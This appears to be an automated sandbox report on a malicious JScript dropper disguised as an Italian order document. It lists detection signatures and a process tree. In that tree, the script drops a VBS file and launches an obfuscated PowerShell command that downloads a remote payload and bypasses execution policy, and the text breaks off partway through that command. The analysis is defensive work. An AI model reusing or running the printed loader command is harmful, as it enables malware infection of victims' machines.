Edit tour
Windows
Analysis Report
Ordine_n._del_081112023.js
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Sigma detected: Powershell download and load assembly
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Wscript starts Powershell (via cmd or directly)
Bypasses PowerShell execution policy
Very long command line found
Suspicious powershell command line found
Windows Shell Script Host drops VBS files
Connects to a pastebin service (likely for C&C)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Found suspicious powershell code related to unpacking or dynamic code loading
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Contains functionality to detect virtual machines (STR)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Uses a known web browser user agent for HTTP communication
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Classification
- System is w10x64
- wscript.exe (PID: 5768 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Ordin e_n._del_0 81112023.j s" MD5: A47CBE969EA935BDD3AB568BB126BC80) - wscript.exe (PID: 7276 cmdline:
wscript "C :\Windows\ Temp\rad72 AAF.tmp.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7336 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" - command "$ Codigo = ' JYkQPZrJsb HJ vBpYkQP ZrJsbHJ vG 0YkQPZrJsb HJ vYQBnYk QPZrJsbHJ vGUYkQPZrJ sbHJ vVQBy YkQPZrJsbH J vGwYkQPZ rJsbHJ vIY kQPZrJsbHJ vYkQPZrJs bHJ v9YkQP ZrJsbHJ vC YkQPZrJsbH J vYkQPZrJ sbHJ vJwBo YkQPZrJsbH J vHQYkQPZ rJsbHJ vdY kQPZrJsbHJ vBwYkQPZr JsbHJ vHMY kQPZrJsbHJ vOgYkQPZr JsbHJ vvYk QPZrJsbHJ vC8YkQPZrJ sbHJ vaQBt YkQPZrJsbH J vGEYkQPZ rJsbHJ vZw BlYkQPZrJs bHJ vHUYkQ PZrJsbHJ v cYkQPZrJsb HJ vBsYkQP ZrJsbHJ vG 8YkQPZrJsb HJ vYQBkYk QPZrJsbHJ vC4YkQPZrJ sbHJ vaQBv YkQPZrJsbH J vC8YkQPZ rJsbHJ vaQ BiYkQPZrJs bHJ vC8YkQ PZrJsbHJ v VwBKYkQPZr JsbHJ vHYY kQPZrJsbHJ vZQBYYkQP ZrJsbHJ vD cYkQPZrJsb HJ vMQBhYk QPZrJsbHJ vGcYkQPZrJ sbHJ vbQBP YkQPZrJsbH J vFEYkQPZ rJsbHJ vNg BHYkQPZrJs bHJ vHcYkQ PZrJsbHJ v XwYkQPZrJs bHJ vxYkQP ZrJsbHJ vD YYkQPZrJsb HJ vOQYkQP ZrJsbHJ v4 YkQPZrJsbH J vDcYkQPZ rJsbHJ vNg YkQPZrJsbH J vyYkQPZr JsbHJ vDYY kQPZrJsbHJ vNYkQPZrJ sbHJ vYkQP ZrJsbHJ vy YkQPZrJsbH J vC4YkQPZ rJsbHJ vag BwYkQPZrJs bHJ vGcYkQ PZrJsbHJ v JwYkQPZrJs bHJ v7YkQP ZrJsbHJ vC QYkQPZrJsb HJ vdwBlYk QPZrJsbHJ vGIYkQPZrJ sbHJ vQwBs YkQPZrJsbH J vGkYkQPZ rJsbHJ vZQ BuYkQPZrJs bHJ vHQYkQ PZrJsbHJ v IYkQPZrJsb HJ vYkQPZr JsbHJ v9Yk QPZrJsbHJ vCYkQPZrJs bHJ vYkQPZ rJsbHJ vTg BlYkQPZrJs bHJ vHcYkQ PZrJsbHJ v LQBPYkQPZr JsbHJ vGIY kQPZrJsbHJ vagBlYkQP ZrJsbHJ vG MYkQPZrJsb HJ vdYkQPZ rJsbHJ vYk QPZrJsbHJ vgYkQPZrJs bHJ vFMYkQ PZrJsbHJ v eQBzYkQPZr JsbHJ vHQY kQPZrJsbHJ vZQBtYkQP ZrJsbHJ vC 4YkQPZrJsb HJ vTgBlYk QPZrJsbHJ vHQYkQPZrJ sbHJ vLgBX YkQPZrJsbH J vGUYkQPZ rJsbHJ vYg BDYkQPZrJs bHJ vGwYkQ PZrJsbHJ v aQBlYkQPZr JsbHJ vG4Y kQPZrJsbHJ vdYkQPZrJ sbHJ vYkQP ZrJsbHJ v7 YkQPZrJsbH J vCQYkQPZ rJsbHJ vaQ BtYkQPZrJs bHJ vGEYkQ PZrJsbHJ v ZwBlYkQPZr JsbHJ vEIY kQPZrJsbHJ veQB0YkQP ZrJsbHJ vG UYkQPZrJsb HJ vcwYkQP ZrJsbHJ vg YkQPZrJsbH J vD0YkQPZ rJsbHJ vIY kQPZrJsbHJ vYkQPZrJs bHJ vkYkQP ZrJsbHJ vH cYkQPZrJsb HJ vZQBiYk QPZrJsbHJ vEMYkQPZrJ sbHJ vbYkQ PZrJsbHJ v BpYkQPZrJs bHJ vGUYkQ PZrJsbHJ v bgB0YkQPZr JsbHJ vC4Y kQPZrJsbHJ vRYkQPZrJ sbHJ vBvYk QPZrJsbHJ vHcYkQPZrJ sbHJ vbgBs YkQPZrJsbH J vG8YkQPZ rJsbHJ vYQ BkYkQPZrJs bHJ vEQYkQ PZrJsbHJ v YQB0YkQPZr JsbHJ vGEY kQPZrJsbHJ vKYkQPZrJ sbHJ vYkQP ZrJsbHJ vk YkQPZrJsbH J vGkYkQPZ rJsbHJ vbQ BhYkQPZrJs bHJ vGcYkQ PZrJsbHJ v ZQBVYkQPZr JsbHJ vHIY kQPZrJsbHJ vbYkQPZrJ sbHJ vYkQP ZrJsbHJ vp YkQPZrJsbH J vDsYkQPZ rJsbHJ vJY kQPZrJsbHJ vBpYkQPZr JsbHJ vG0Y kQPZrJsbHJ vYQBnYkQP ZrJsbHJ vG UYkQPZrJsb HJ vVYkQPZ rJsbHJ vBl YkQPZrJsbH J vHgYkQPZ rJsbHJ vdY kQPZrJsbHJ vYkQPZrJs bHJ vgYkQP ZrJsbHJ vD 0YkQPZrJsb HJ vIYkQPZ rJsbHJ vBb YkQPZrJsbH J vFMYkQPZ rJsbHJ veQ BzYkQPZrJs bHJ vHQYkQ PZrJsbHJ v ZQBtYkQPZr JsbHJ vC4Y